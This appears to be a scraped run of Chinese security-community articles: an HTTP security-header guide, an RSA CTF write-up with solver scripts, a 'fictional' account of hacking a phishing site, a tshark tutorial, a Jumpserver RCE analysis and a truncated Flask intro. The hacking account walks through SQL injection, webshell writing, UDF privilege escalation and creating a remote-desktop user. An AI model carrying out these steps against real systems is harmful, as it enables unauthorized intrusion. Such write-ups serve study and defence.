HTTP PKP（HPKP）指示浏览器只与提供的 SSL/TLS 的 HASH 相符或存在于同一证书链的服务器相连接。换句话说，如果 SSL/TLS
证书以一种意想不到的方式发生了变化，浏览器就无法连接到主机。这主要是针对受信任证书颁发机构（CA）或流氓 CA 证书颁发的伪造证书，用户可能会被骗安装。
例如，浏览器连接到 `https://example.com`，它存在这个头。header 告诉浏览器，如果证书 key 匹配，或者在发出证书链中有一个
key 匹配，那么在将来才会再次连接。其他的指令组合是可能的。它们都极大地减少了攻击者在客户端和合法主机之间模拟主机或拦截通信的可能性。
像 HSTS 一样，HPKP 在实现之前需要仔细的思考和计划。错误可以将用户锁定在您的站点之外，并且不容易修复。
像 [HSTS](https://blog.myssl.com/https-security-best-practices/#12httpstricttransportsecurityhsts) 一样，HPKP
在实现之前需要仔细的思考和计划。错误可以将用户锁定在您的站点之外，并且不容易修复。
**建议**
确定是否需要为您的站点使用 PKP。如果是这样的话，那么从一个较小的实践开始，如果在一段时间之后没有遇到问题，就增加它。如果 SSL/TLS
密钥需要更新，建立备份计划。优先创建备份密钥和离线存储。
示例HTTP头:
Public-Key-Pins: max-age=5184000; pin-sha256="+oZq/vo3Kcv0CQPjpdwyInqVXmLiobmUJ3FaDpD/U6c="; pin-sha256="47DEQpj8HBSa+/TImW+5JCeuQeRkm5NMpJWZG3hSuFU="
#### 1.4 Mixed HTTPS and HTTP Content
主站点通过 HTTPS 安全地服务，但是在 HTTP 上加载一些文件（images、js、css）。这是一个巨大的安全漏洞，破坏了 HTTPS
提供的安全性。受影响的站点可能会泄漏会话 cookie 或用户行为信息。它们也可能容易受到注入和其他 MITM 攻击的攻击，而 HTTPS
通常会阻止这种攻击。
**建议**
如果 HTTPS 部署在主站上，请将任何地方的所有内容都 HTTPS 化（全站 HTTPS）。
### 2 Content security
#### 2.1 Content Security Policy
为浏览器提供关于网站内容类型和行为的明确说明。良好的内容安全策略（CSP）可以帮助抵御跨站点脚本（XSS）和其他注入攻击等攻击。CSP
支持所有主要的浏览器，尽管只是部分地之前在 IE 11。
一个好的 CSP 是基于白名单的方法，不允许任何东西，除了明确允许的内容。它还限制了 javascript 的来源和允许操作。
CSP 很难启用遗留代码库。为了简化实现，CSP 提供了一个 `report-only` 模式，在浏览器中，CSP
的违规被发送到一个网站端点，但是该策略没有被强制执行。
新项目应该从一开始就使用 CSP。
**建议**
从限制性政策开始，在必要时放松。禁止所有的例子:
Content-Security-Policy: default-src 'none';
现在让我们允许自托管 scripts、images、CSS、fonts 和 AJAX，以及 jQuery CDN 托管脚本和 Google
Analytics:
Content-Security-Policy: default-src 'none'; script-src 'self' https://code.jquery.com https://www.google-analytics.com; img-src 'self' https://www.google-analytics.com; connect-src 'self'; font-src 'self'; style-src 'self';
要注意的是，不要让所有的东西都破坏你的网站，例如，如果你使用 `child-src` 指令，而浏览器不支持它。一个不那么严格的政策可能从以下开始:
Content-Security-Policy: default-src 'self';
甚至更少的限制性政策甚至可以使用 `default-src '*'`，然后添加限制。我建议你不要这么做，除非你完全明白其中的含义。否则，你可能会依赖
CSP，它只会给你一种错误的安全感。
#### 2.2 Frame Options
控制站点是否可以放置在 `<iframe>`，`<frame>` 或 `<object>` 标签。不允许使用框架可以防止 clickjacking
攻击。例如，从 2015 年 2 月起，[Internet Explorer’s universal cross-site-scripting
bug](http://thehackernews.com/2015/02/internet-explorer-xss.html) 就被这个消息头减轻了。
`X-Frame-Options` 是一个非标准的 header，在内容安全策略级别 2 中被 _frame ancestor_ 指令所取代。然而，
_frame ancestor_ 还没有得到普遍的支持，而 `X-Frame-Options` 得到了广泛的支持。
**建议**
确定你的网站是否需要被允许呈现在一个 frame 中。完全不允许使用 sameorigin 拒绝或允许同源框架的选项。避免由于受限或 bug
浏览器支持而允许的选项。示例 HTTP 头:
X-Frame-Options: deny
#### 2.3 XSS Protection
跨站点脚本（XSS 或 CSS）的保护被构建到大多数流行的浏览器中，除了 Firefox
之外。这种保护是用户可配置的，可以关闭。因此，明确要求浏览器在你的网站上使用它的 XSS 过滤器是个好主意。
相反，网站可以要求 XSS 保护在页面的基础上被禁用。这绝对不是一个好主意。
**建议**
使用入校 HTTP header:
X-Xss-Protection: 1; block
#### 2.4 Cache Control
表示缓存页面输出的首选项。适当的值随网站数据的性质而变化，但强烈推荐使用偏好。否则，它取决于浏览器和代理来选择是否缓存内容。不恰当的选择可能会导致性能问题、安全问题，或者两者都有。
**建议**
开发缓存策略，然后将缓存首选项包括为 HTTP 头。
Cache-Control: public*
其中的一个 public，private，no-cache 或 no-store。如果允许缓存，则应该将 _max-age_ 值包含在 **Cache-Control** 以及 **Etag** 头文件中，以允许客户端缓存验证。
#### 2.5 Content Type Options
当浏览器以不同的方式处理来自服务器的文件时，MIME
嗅探就是服务器指令。当一个网站承载不受信任的内容（如用户提供的）时，这是很危险的。假设服务器允许用户上传 image。如果用户上传 HTML
文档，浏览器可能会将其呈现为 web 执行 scriptpage，即使服务器明确表示正在发送 image。非标准的标头 `X-Content-Type-Options`选项指示浏览器不做任何模仿指定类型的 MIME。
**建议**
总是设置 header:
X-Content-Type-Options: nosniff
#### 2.6 Subresource Integrity
浏览器通常从外部域加载大量资源、javascript
和样式表。内容交付网络经常被使用。如果外部资源被破坏，依赖站点的安全性也可以。子资源完整性允许浏览器验证 javascript 或样式表未被意外修改。
**建议**
设置外部 javascript 和样式表的完整性属性。
<script src="https://ajax.googleapis.com/ajax/libs/jquery/1.11.3/jquery.min.js" integrity="sha384-6ePHh72Rl3hKio4HiJ841psfsRJveeS+aLoaEf3BWfS+gTF0XdAqku2ka8VddikM"></script>
**注意**
您应该始终提供外部脚本的本地副本，并实现一种方法，以便在外部负载失败的情况下重新加载它们。否则你的网站可能会崩溃。例子:
<script>window.jQuery || document.write('<script src="/jquery.min.js"><\/script>')</script>
#### 2.7 Iframe Sandbox
iframe 在 WWW 上随处可见。网站平均有 [5.1 iframe](http://www.debug.is/2015/04/15/youve-been-framed)，主要用于装载第三方内容。这些 iframe
有很多方法来伤害托管网站，包括运行脚本和插件和重新引导访问者。`sandbox`属性允许对 iframe 中可以进行的操作进行限制。
**建议**
设置 iframe 的 `sandbox` 属性，然后添加所需的权限。
<iframe src="https://example.com" sandbox="allow-same-origin allow-scripts"></script>
#### 2.8 Server Clock
服务器包括所有响应的时间戳。不准确的时钟不会给客户机浏览器带来问题。然而，当与其他系统或服务交互时，问题就会出现。
**建议**
使用网络时间协议（NTP）来保持服务器时钟的准确性。
### 3 Information disclosure
#### 3.1 Server Banner
大多数 web
服务器设置报头来识别自己和他们的版本号。这只服务于信息目的和实际用途是非常有限的。去掉整个头，而完全可以接受，通常是不必要的。但是，建议从头中删除版本号。在特定
web 服务器版本中存在 bug 的情况下，包括版本号可以作为对脚本 kiddy 的邀请来尝试对服务器的攻击。
**建议**
包含服务器名称但去掉版本号；
Server: nginx
#### 3.2 Web Framework Information
许多 web 框架设置 HTTP
头，识别框架或版本号。除了满足用户的好奇心，而且主要作为技术堆栈的广告，这几乎没有什么作用。这些头是不标准的，对浏览器渲染站点的方式没有影响。
虽然它们没有什么实际用途，但对于搜索运行过时版本的软件的机器人或蜘蛛来说，这些标头是无价的，因为这些软件可能包含安全漏洞。如果没有定期更新，这些头文件可以使网站的目标变得容易。
**建议**
从服务器响应中删除这些标头: `X-Powered-By`, `X-Runtime`, `X-Version` 和 `X-AspNet-Version`。
### 4 Cookies
#### 4.1 Cookie Security
包含敏感信息的 cookie，特别是会话 id，需要标记为安全的，假设网站是通过 HTTPS 传输的。这会阻止 cookie 通过 HTTP
发送明文文本。另一种方法是通过 HSTS 来阻止非安全 cookie 在 HTTP 上传输。建议使用安全 cookie 和 HSTS。
会话 cookie 应该与 HttpOnly 值进行标记，以防止它们被 javascript 访问。这可以防止攻击者利用 XSS 窃取会话
cookie。其他 cookie 可能不需要这样标记。但是，除非有明确的需要从 javascript
中访问他们的值，否则最好还是呆在安全的一边，把所有cookie标记为 _HttpOnly_
**建议**
标记所有 cookie 安全和 _HttpOnly_ 。
Set-Cookie: Key=Value; path=/; secure; HttpOnly, Key2=Value2; secure; HttpOnly | 社区文章 |
# Pwnhub-Crypto-韩国欧巴
|
##### 译文声明
本文是翻译文章
译文仅供参考，具体内容表达以及含义原文为准。
## 前言
近日有机会做了一次pwnhub的crypto，闲下来后做了一下记录
## 题目分析
题目很简短，如下
#!/usr/bin/env python
import gmpy
from Crypto.Util.number import *
from secret import x, y, flag
assert gmpy.is_prime(y) ** 2016 + gmpy.is_prime(x+1) ** 2017 + ((x**2 - 1)**2 % (2*x*y - 1) + 2) ** 2018 == 30097557298197417800049182668952226601954645169633891463401117760245367082644152355564014438095421962150109895432272944128252155287648477680131934943095113263121691874508742328500559321036238322775864636883202538152031804102118831278605474474352011895348919417742923873371980983336517409056008233804190890418285814476821890492630167665485823056526646050928460488168341721716361299816947722947465808004305806687049198633489997459201469227952552870291934919760829984421958853221330987033580524592596407485826446284220272614663464267135596497185086055090126893989371261962903295313304735911034185619611156742146
p = gmpy.next_prime(x**3 + y**3)
q = gmpy.next_prime(x**2*y + y**2*x)
n = p * q
phi = (p-1)*(q-1)
d = gmpy.invert(0x10001, phi)
enc = pow(bytes_to_long(flag), 0x10001, n)
print 'n =', n
print 'enc =', enc
这里我们摆出已知的几个式子
那么现在的想法很清楚：
1.利用已知的等式求出p和q
2.利用已知的等式进行代换，不需求出p和q，直接整体带入解密
这里我们选择走一步看一步，因为这样比较复杂的公式，我也没办法直接看出正解，只能步步为营
## 解题step1
首先从题目给的等式入手，这里的
is_prime(y)
is_prime(x+1)
均为bool值
式子中带有取余肯定是我们不希望看到的，于是我们从
我们可以发现这是式子中的最高次，那么我们能否利用2018方对其进行范围缩小？
尝试分析
为了方便后续描述，我们将等式右边的大数命名为num
通过简单运算发现
num>pow(2,2018)
num<pow(3,2018)
所以我们成功得到等式
即
我们进一步计算，得到
所以可以确定
y为素数
x+1为素数
k为整数
那么这就成了整数的抽象代数问题即如何利用上述条件得到x和y的关系
首先由x+1为素数，我们一定可以得到x为偶数
原因很简单，数字一共分为2种：2k和2k+1
2k一定不可能为素数，所以x+1为2k+1，那么x就是2k
所以x一定为偶数
不妨设`x=2k`
则得到
不难看出，显然有一个解为
所以一定有
x=2y
可以使条件成立
所以题目的已知公式可以推出p和q的关系为
即
## 解题step2
然后我们已知n的值，所以可以利用p*q=n去求n
但是由于这是一个三元方程
但是我们知道a和b应该是一个不大的数，所以我们可以暂时忽略，求一个y的近似值
于是乎，我们可以有
则p的近似值为
19758773482416975773513594727554854838261383456469757248975289414355380735280879485422339870304527397062948550174303008020919366147474933112054539960497455035338201515203147106735705140472387837291772737954077643308046956678940164319688649687874053450947563446714782140815873215100887989866701486767419287547227200825869331893787470348194603234016874968352188422840451629535806709831811012761153410419196032233502030396198424770210265894560281233572716876438572593
我们知道我们求出的p肯定是近似值，但是由于
这里的a很小，所以它只能改变低位的值，所以我们的p只是低位不准确
所以这里可以使用Coppersmith定理攻击去恢复不准确的低位
脚本如下
n=0x2ccce7ec66eee19f17522ba3b0a001f2668c6ab8d092001f0cd942fa84c23ab0234b5757448969faddd136fb4b07c0d7e6ad8f1b0e20d266e097abdd543bcfde62c14716df6e526c30df6018ca3ace1c8fb91b21940670bfecea64b859c47ce5a7a469d714c50598ed202a9a76b4eb5b8a275408697d80f4da5ef7a1b61be288738af57656e0fba938b571f1c8a06c59f60f0babe1edd3095621bb9125d7c71ca20286443dbf9ab721e230a7492e9f8e10f1b028065c8f12aac83502569dce5946264c0d1f18893e8f8f7489d548ec4254ee02a62b9acf313f2e1c8e28b563f242ed6613dce1a3dfd7d206d7b16e017e2dedbc5f80fbac85b78768abd4432da6c6e93e3e87a228cf332f69c0fd0613ccb76ee08de10bac7a6a42093259ca732254bfd38bc897872fae8e8dfef6498c66178e5006f9c69516967b089572bcc85b0af77273e269b679bb9d23119ee01004f005a36f58d50f1257d9b6024b3a4d560392ed03be731046866fbd268c3715164a19b17d52e6f349a9fc7a6bf15c1f21fd
p=0x83295d058b8d47fa5103ce9f7cb3b9e403d38a13a3443f1f62c371966bd0b325a96ec64d50e63aff662a6f3c4f06dd62f006eff0cbffff3733e9b0a0f1778f2bbe9dc9c2885bcb3c6846171b490c3e1b8bc04d94868d47c68618bd31976e8da90d29ca1b21ba1d29512bfc9b5c683d9b3d5bfaa16c3115a4879b12a4a1a218aaf50e0102473663282c2514814e3e67d255a7111ffd8ea4e60b10569183a5cbe39d1e25135ed004d6255e44daac0b7196efe58d1e1ea97b662582f56fe50a20e31
flag = False
for i in range(1,1024):
p_fake = p + 2**i
F.<x> = PolynomialRing(Zmod(n), implementation='NTL')
f = x - p_fake
res = f.small_roots(X=2**i, beta=0.5)
if res:
for j in res:
p_true = p_fake-j
if n%p_true == 0:
print p_true
flag = True
break
if flag:
break
即可得到p
19758773482416975773513594727554854838261383456469757248975289414355380735280879485422339870304527397062948550174303008020919366147474933112054539960497455035338201515203147106735705140472387837291772737954077643308046956678940164319688649687874053450947563446714782140815873215100887989866701486767419287547227200825869331893787470348194603234016874968352188422840451629535806709831811012761153410419196032233502030396198424770210265894560281233572716876438572799
## 解题step3
对于p的近似值恢复，也可以使用爆破方法，毕竟爆破量不是很大
爆破脚本如下
from Crypto.Util import number
import gmpy2
import gmpy
import libnum
import primefac
e = 0x10001
enc = 73933313646416156737449236838459526871566017180178176765840447023088664788672323530940171469589918772272559607026808711216932468486201094786991159096267208480969757088208089800600731106685561375522764783335332964711981392251568543122418192877756299395774738176188452197889668610818741062203831272066261677731889616150485770623945568369493256759711422067551058418926344060504112146971937651406886327429318390247733970549845424064244469193626197360072341969574784310397213033860597822010667926563087858301337091484951760613299203587677078666096526093414014637559237148644939541419075479462431789925219269815364529507771308181435591670281081465439913711912925412078002618729159141400730636976744132429329651487292506365655834202469178066850282850374067239317928012461993443785247524500680257923687511378073703423047348824611101206633407452837948194591695712958510124436821151767823443033286425729473563002691262316964646014201612
n = 260272753019642842691231717156206014402348296256668058656902033827190888150939144319270903947159599144884859205368557385941127216969379550487700198771513118894125094678559478972591331182960004648132846372455712958337042783083099376871113795475285658106058675217077803768944674144803250791799957440111855021945690877200606577646234107957498370758707097662736662439460472126493593605957225541979181422479704018055731221681621886820626215670393536343427267329350730257979042198593215747542270975288047196483958369426727778580292311145109908665004662296440533724591193527886702374790526322791818523938910660223971454070731594803459613066617828657725704376475527288174777197739360634209448477565044519733575375490101670974499385760735451471034271880800081246883157088501597655371430353965493264345172541221268942926210055390568364981514774743693528424196241142665685211916330254113610598390909248626686397970038848966187547231199741
p = 9*(gmpy.root(n/54,6)[0])**3
for i in xrange(10000):
if n%(p+i) == 0:
p = p+i
q = n/p
phi = int((p-1)*(q-1))
d = gmpy2.invert(e,phi)
print libnum.n2s(pow(enc,d,n))
break
也可以轻松得到flag
flag{e01c9eb8078ea9bbac035ea68021c070} | 社区文章 |
#### Author:[superfish](http://www.sfishlost.com/index.php/2017/08/08/hack-fisher/)
昨天晚上在游戏里卖东西，有个人M我，截图没有了大概意思是让我便宜点儿，我问她能不能瞬秒，她说钱不够能不能给我充500点卡，我觉得可以，就加了她微信，给了她邮箱（我开始以为要给游戏账号的邮箱）。
过了一会儿说充好了，让我去邮箱里查，我一看：
点“激活订单”：
点“下一步”：
真的，在这种场景下很容易上当的。。。我当时已经把账号密码都输进去了，就差点“登录”了，突然反应过来，看了一眼域名：
阿里的域名服务，感觉不太对啊，再审查元素看一下，然后就！！（╯’ – ‘)╯︵ ┻━┻
当时我微信跟她说她玩儿大了，然后就把她删了。
（以下内容纯属虚构，你懂的。。）
躺床上沉思了5秒钟以后，我开始审视这几个钓鱼页面的请求，发现了一处宽字节注入：
看了一下mysql用户，发现是root，小开心，用sqlmap跑，找到当前的数据库czkzx：
这里有个sqlmap的使用技巧：这个注入能用union并且有回显，所以用–technique U指定下注入的技术，但是sqlmap默认只用order
by判断1-10列，这里是13列（手动判断出来的），所以我用–union-cols
12-15指定下判断的列数（指定1-15发现sqlmap居然判断不出来）。
利用报错拿到网站绝对路径：
尝试用select into outfile写webshell，发现失败，原因是网站开了gpc。
看一下拖出来的数据，发现里面用户的密码都是以加盐hash的方式进行存储的：
找了几个破解了一下，都没成功，并且最关键的是我根本找不到后台在哪，于是我打算试下XSS。
在输入账号密码的地方插入XSS Payload，然后去数据库里查看一下：
发现数据在入库前做了HTML实体编码（后来我用sqlmap的–sql-shell去查看的时候发现是没有编码的形式，这是因为sqlmap在显示查询结果的时候做了一下解码，如下图）。
由于没有列目录漏洞，于是我就去读了几个我知道的文件源码，发现确实做了编码处理：
由于用mysql_connect方式连接的mysql不支持堆叠查询，所以也没办法用update修改数据库里的数据，XSS的思路好像也不太行。
接着想到一般这种钓鱼站都会有给fisher发推送邮件的功能，果然在数据库中找到了邮箱和密码：
但是试了一下，密码不对。。。
由于在源码中发现了数据库的root密码，于是我又回到了利用mysql写webshell的思路上，唯一的障碍就是gpc，如果能直接通过3306连接那就没有这个问题了。
尝试ping一下目标域名，发现是阿里的cdn：
试了一些方法，没有找到真实IP（其实也真不一定有公网IP）。
没什么好思路了，于是接着看源码，发现网站根目录下的index.php内容如下：
看到一个新的域名，比较好奇就ping了一下，发现居然不解析，应该是很早就到期了，现在没人注册。
然后我看到了下面的file_get_contents，突然看到了一些希望：
我可以注册这个域名，然后让钓鱼服务器访问我的网站，这样不就能获取到他的公网IP了吗！（前提是它有公网IP而不是内网映射出去的。）
一般mysql默认安装很多是0.0.0.0，但是这不意味着允许root用户远程登录，于是我先通过注入看了下：
看到%了！
抱着一丝希望，我花了45元注册了这个域名，然后把www子域解析到了我的服务器上，然后访问这个index.php，果然！我的服务器上出现了一个IP，百度了一下发现是香港的IP，不是阿里云（当时用Python启的服务，没截图，看下和小伙伴的聊天记录吧）：
怀着激动的心情，我用nmap扫了下3306端口，发现端口是开放的：
连接mysql：
可以，很舒服！尝试写个phpinfo：
之后用webshell看了下权限，很低，目标mysql是5.0的，直接上t00ls的udf提权脚本：
成功拿到system权限：
查看下端口信息，发现3264端口是远程桌面的端口：
创建用户，登录：
Game Over. | 社区文章 |
做misc类题，巧妙运用tshark提取数据包数据提取时可以节约大量的时间，最近做到misc类题目，正好学习记录一下
官方文档：<https://www.wireshark.org/docs/man-pages/tshark.html>
## 常用操作
-r 提取如wireshark表格中显示的封包摘要信息
-Y 使用filter过滤器
注意：需要加引号否则&&后面语句没用
-T 指出解析时输出的格式
默认text
fields (需要增加-e参数)
其他选项 ek|json|jsonraw|pdml|ps|psml|tabs
-e 指定一个字段
字段名可以在wireshark表达式里面找,例如usb包的`Leftover Capture Data`字段
那么就可以用`usb capdata`提取这个字段
tshark …… >1.txt
将提取结果重定向输出到文本文件里
## 提取练习：
`2018 红帽杯 Not only Wireshark`
> 链接：<https://pan.baidu.com/s/1qI1wnVrfdIbpEXvwV0AmAg>
> 提取码：yh5n
过滤http流，发现name参数后面的参数有端倪
利用tshark提取，配合linux的命令
字段名为http.request.uri
tshark -r Not\ Only\ Wireshark -Y http -T fields -e http.request.uri
发现有我们需要的url，但是也有不需要的，这时候需要用linux的grep命令进行过滤
tshark -r Not\ Only\ Wireshark -Y http -T fields -e http.request.uri | grep "/sqli/example2.php?name="
再用`awk`命令提取`name=`后面的值，再用`tr`删掉换行符，使得输出成一行
tshark -r Not\ Only\ Wireshark.pcapng -Y http -T fields -e http.request.uri | grep "/sqli/example2.php?name="| awk -F '=' '{print $2}'|tr -d "\n"
`2017厦门邀请赛 traffic`
> 链接：<https://pan.baidu.com/s/1s_zcwzUM_86mpVTT75PRpw>
> 提取码：6jul
比较难以捉摸,直接说步骤,要先发现开始icmp包中大量充斥的a字符串及heiheiehei!的提示
然后提取icmp data字段的长度值
字段名查询到是`Frame.len`
提取命令：
tshark -r 2.pcapng -Y "icmp "-T fields -e frame.len | tr "\n" "," | 社区文章 |
# Jumpserver 任意命令执行漏洞分析报告
##### 译文声明
本文是翻译文章
译文仅供参考，具体内容表达以及含义原文为准。
## 漏洞简述
2021年01月18日，360CERT监测发现 `Jumpserver` 发布了 `远程命令执行漏洞`
的风险通告，漏洞等级：`高危`，漏洞评分：`8.5`。
Jumpserver中存在一处受控服务器远程任意命令执行漏洞，该漏洞由多处漏洞导致。
对此，360CERT建议广大用户好资产自查以及预防工作，以免遭受黑客攻击。
本次漏洞出现的核心问题在于
1. log文件的默认路径固定，且易知
2. 存在 log 文件读取漏洞
3. http GET 请求中存在 敏感参数被记录进 log
4. websocket通信中无用户权限验证
## 影响版本
* `< v2.6.2`
* `< v2.5.4`
* `< v2.4.5`
* `= v1.5.9`
* `>= v1.5.3`
## 漏洞详情
### 漏洞原理
#### log读取
`jumpserver` 中处理 `websocket` 的函数 `read_log_file` 中无用户权限校验，任意用户均可通过`ws` 调用该功能。
ws->
read_log_file
->
wait_util_log_path_exist
->
get_log_path(根据 type 调用设定好的两种函数)
->最终均调用
get_task_log_path
值得注意的是，read_log_file在处理文件读取是以4096bytes循环读取，直到断开websocket连接或文件读取完成。但每次读取有 0.2s
的间隔
`get_task_log_path` 中限定能够读取的文件后缀为 `.log` 且未对参数进行任何过滤。
rel_path = os.path.join(*task_id[:level], task_id + '.log')
因此可以通过目录跳转或绝对路径的方式读取到 `gunicorn.log` (gunicorn是python中实现 WSGI 的框架)
该文件等于access.log，记录了http请求（请求源IP，时间，请求方式，url，响应码等）
而由于 `jumpserver` 中存在一些特殊的接口，例如
api/v1/perms/asset-permissions/user/validate
该系列接口以 `GET` 方式处理敏感的信息（用户uuid,资源uuid）,导致这些敏感信息被记录在 `gunicorn.log` 中。
#### token 生成
`jumpserver`在处理 token 生成时使用的是
UserConnectionTokenApi->对应以下路由
/api/v1/authentication/connection-token/
/api/v1/users/connection-token/
该接口使用（用户uuid，资源uuid）进行token的生成，因此通过上述的过程从 `gunicorn.log` 中获取到相应的值皆可进行token生成。
#### 命令执行
最终因为 `jumpserver` 中以 `websocket` 的方式处理 `web_terminal` 相关功能，攻击者利用获得的（用户uuid,
资源uuid）便可通过 `websocket` 在对应的服务器上获得shell或执行命令等。
这部分功能由 `jumpserver/koko` 项目进行实现
koko中使用了 gin 框架
路由：`koko/ws/token`
wsGroup.Group("/token").GET("/", s.processTokenWebsocket)
由于 token 处理的特殊性（已完成认证），此处无法使用权限验证。并且利用token反查到对应的服务器资源和用户信息，进行命令行开启操作。
func (s *server) processTokenWebsocket(ctx *gin.Context) {
tokenId, _ := ctx.GetQuery("target_id")
tokenUser := service.GetTokenAsset(tokenId)
...
currentUser := service.GetUserDetail(tokenUser.UserID)
...
targetType := TargetTypeAsset
targetId := strings.ToLower(tokenUser.AssetID)
systemUserId := tokenUser.SystemUserID
s.runTTY(ctx, currentUser, targetType, targetId, systemUserId)
}
远程未授权的攻击者通过构造特制的ws通信数据，导致攻击者利用jumpserver在其管理的服务器上执行任意命令。
### 漏洞利用
漏洞利用省略了获得 （用户uuid，资源uuid）的步骤。
## 影响面分析
`https://github.com/jumpserver/installer/blob/master/compose/docker-compose-app.yml`
在`jumpserver`的官方 installer 中，默认使用的日志路径为固定的 `/opt/jumpserver/logs`
volumes:
- ${CONFIG_DIR}/core/config.yml:/opt/jumpserver/config.yml
- ${VOLUME_DIR}/core/data:/opt/jumpserver/data
- ${VOLUME_DIR}/core/logs:/opt/jumpserver/logs
所以使用官方 installer
的用户最容易被攻击成功，该类用户应当尽快更新。而其他手动配置`jumpserver`的用户，应当检查是否使用了相同的路径，或常规易猜解的路径。
`https://github.com/jumpserver/Dockerfile`
而在`jumpserver`历史快速构建项目中，同样存在该问题，使用了固定路径 `/opt/jumpserver/logs`
## 时间线
2021-01-15 Jumpserver官方发布漏洞通告
2021-01-18 360CERT发布通告
2021-01-18 360CERT发布分析报告
## 参考链接
[Jumpserver受控服务器任意命令执行漏洞通告 –
360CERT](https://cert.360.cn/warning/detail?id=4f68e2896d6ac9ce8d5254c9060c8d3a)
[jumpserver/Dockerfile: Jumpserver all in one
Dockerfile](https://github.com/jumpserver/Dockerfile)
[jumpserver/installer: JumpServer 安装管理包，让用户更便捷的安装、部署、更新、管理
JumpServer。](https://github.com/jumpserver/installer)
[jumpserver/jumpserver: JumpServer 是全球首款开源的堡垒机，是符合 4A
的专业运维安全审计系统。](https://github.com/jumpserver/jumpserver/tree/master)
[jumpserver/koko: KoKo是go版本的coco，新的Jumpserver ssh/ws
server](https://github.com/jumpserver/koko) | 社区文章 |
最近刷题的时候碰见的SSTI越来越多，就从Flask基础开始，学习一下Flask模块里面涉及的漏洞以及SSTI相关的知识进行一下总结，学习过程发现好多文章介绍SSTI的时候没有详细介绍过Flask基础的东西，导致对SSTI最初的了解有些困难，所以这里结合几个师傅写的系统总结一下Flask下SSTI漏洞的学习过程：
## Flask基础：
### Flask的安装：
之前说过在python中安装外部插件时，使用的是pip包管理工具，这里也不例外，而且安装步骤很简单，直接输入指令：
pip3 install flask
注意，flask项目框架的运行，需要将app.py文件和flask扩展包在统一路径下
### Flask的测试：
直接写一个测试脚本flask_test.py来测试flask框架是否运行正常：
-*- coding: UTF-8 -*-
from flask import Flask
app = Flask(__name__) #创建一个flask实例
@app.route('/') #路由规则，即符合规则的url请求将会触发此函数
def flask_test():
return 'Flask Test Successful!'
if __name__ == '__main__': #如果是已主程序的方式启动（不是以导入模块的方式），则运行flask实例
app.run() #app.run(debug=True)，即可开启debug模式
在终端运行：python
flask_test.py，即开启了一个访问地址为<http://127.0.0.1:5000的服务器，在浏览器中访问该地址可以看到，出现上述结果说明flask引入成功，并且能正常工作。>
### 代码解析：
* 第一句用于指定编码格式，这是为了防止出现中文乱码而做的处理，第二句则是从flask框架中引入Flask类到当前应用中的方法：
* 使用引入的Flask类创建一个flask实例，传入参数是此实例的唯一标示，就相当于启动了一个服务器服务，用于处理后续的处理：
-*- coding: UTF-8 -*-
from flask import Flask
app = Flask(__name__) #创建一个flask实例
#### route路由 **:**
* 服务器对于网络请求的识别，都是通过解析该网络请求的url地址和所携带的参数来完成的，这里也不例外，此处我们看到代码中的这句语句，它被称为路由，它的作用就是对网络请求进行筛选，每个route对应这一类请求类型：
* route中所带的参数是一个字符串类型，它的内容就对应它要响应的标示，例如此处字符串为‘/’，表明当网络访问地址为“<http://127.0.0.1:5000/”时，此语句后面定义的函数就会被调用，该函数返回的内容就是浏览器中访问该地址时响应的页面内容：>
@app.route('/')
def flask_test():
return 'Flask Test Successful!'
* 当然，我们也可以用route来监听带参数的url，例如：
@app.route('/name/<name>')
def flask_test(name):
return name + ',Flask Test Successful!'
* 那么访问地址为：<http://127.0.0.1:5000/name/linsh,此时linsh被当做参数name传入函数中，那么最后出来的结果应该是：linsh,Flask> Test Successful!
#### main入口:
* 当.py文件被直接运行时，`if __name__ == '__main__'`之下的代码块将被运行；当.py文件以模块形式被导入时，if name == ‘main‘之下的代码块不被运行。如果你经常以cmd方式运行自己写的python小脚本，那么不需要这个东西，但是如果需要做一个稍微大一点的python开发，写 if name ==’main__’ 是一个良好的习惯，大一点的python脚本要分开几个文件来写，一个文件要使用另一个文件，也就是模块，此时这个if就会起到作用不会运行而是类似于文件包含来使用。
if __name__ == '__main__':
app.debug = True
app.run()
* 测试的时候，我们可以使用debug，方便调试，增加一句
app.debug = True
app.run(debug=True)
* 这样我们修改代码的时候直接保存，网页刷新就可以了，如果不加debug，那么每次修改代码都要运行一次程序，并且把前一个程序关闭。否则会被前一个程序覆盖。这会让操作系统监听所有公网 IP,此时便可以在公网上看到自己的web。
app.run(host='0.0.0.0')
#### Debug：
* flask编写的程序和php不一样，每一次变动都需要重启服务器来执行变更，就显得很麻烦，为了应对这种问题，flask中的debug模式可以在不影响服务器运行下，执行更新每一次的变更
* debug=True
* 只需要在app.run原基础上加上debug.True，或者直接app.debug=True
from flask import Flask
app = Flask(__name__)
@app.route('/')
def index():
return 'Hello,world'
if __name__ == '__main__':
app.debug = True
app.run('127.0.0.1','8080')
# app.run('127.0.0.1','8080',debug=Ture)
#### 识别传入的参数:
* 给url添加可以传入变量的地方，只需要在route中的路径后面添加标记<value_name>，然后使用def接收，代码解释下</value_name>
from flask import Flask
app = Flask(__name__)
@app.route('/')
def index():
return 'Hello,vfree'
@app.route('/user/<username>')
def user(username):
return 'username：{0}'.format(username)
if __name__ == '__main__':
app.debug = True
app.run('127.0.0.1','8080')
* 看到第二个route出，其中加了/，这就是传入参数的接口，其中username相当于一个变量，将username放进def user()中，然后用format带入username
#### HTTP方法：
GET方法和POST方法
from urllib import request
from flask import Flask,request
app = Flask(__name__)
@app.route('/method',methods = ['GET','POST'])
def method():
if request.method == 'GET':
return '现在的方法是GET'
elif request.method == 'POST':
return '现在的方法是POST'
if __name__ == '__main__':
app.debug = True
app.run('127.0.0.1','8080')
仔细分析上面的代码，会发现多了一个request和methods
request主要是用于在判断时，获取当前页面的方法，如果直接打开URL，就会显示GET方法，如果使用POST，就会显示POST方法
* route中，methods要有s，并且方法用[ ] 括起来，其次就是方法要大写，不能小写
* request和requests不一样，request是包含在flask中的，而requests是请求网页的，不能混淆
* 方法要大写，否则就会报错
**GET方法** :
* 用`request.args.get('参数名')`来接收从url栏中传入的参数，其中参数名是自定义的，比如定义了tss，那么在url栏中只能填入tss=xxxxx
**POST方法:**
* 和GET方法获取传入的值截然不同，POST方法用`request.form['参数名']`获取传入的参数值，和GET方法所介绍地一样，预定获取什么参数名就会获取传入地参数名中地参数
#### Redirect重定向:
这个关键字在flask中用于重定向，需要配合url_for使用，url_for使用于构造url，比如常见的用法就是在登陆页面，输入正确的账号密码后，重定向到另外一个页面中，接下来，请看代码演示:
import time
from flask import Flask,request,redirect,url_for
app = Flask(__name__)
@app.route('/login',methods = ['GET','POST'])
def login():
username = 'admin' # 定义username
password = 'admin' # 定义password
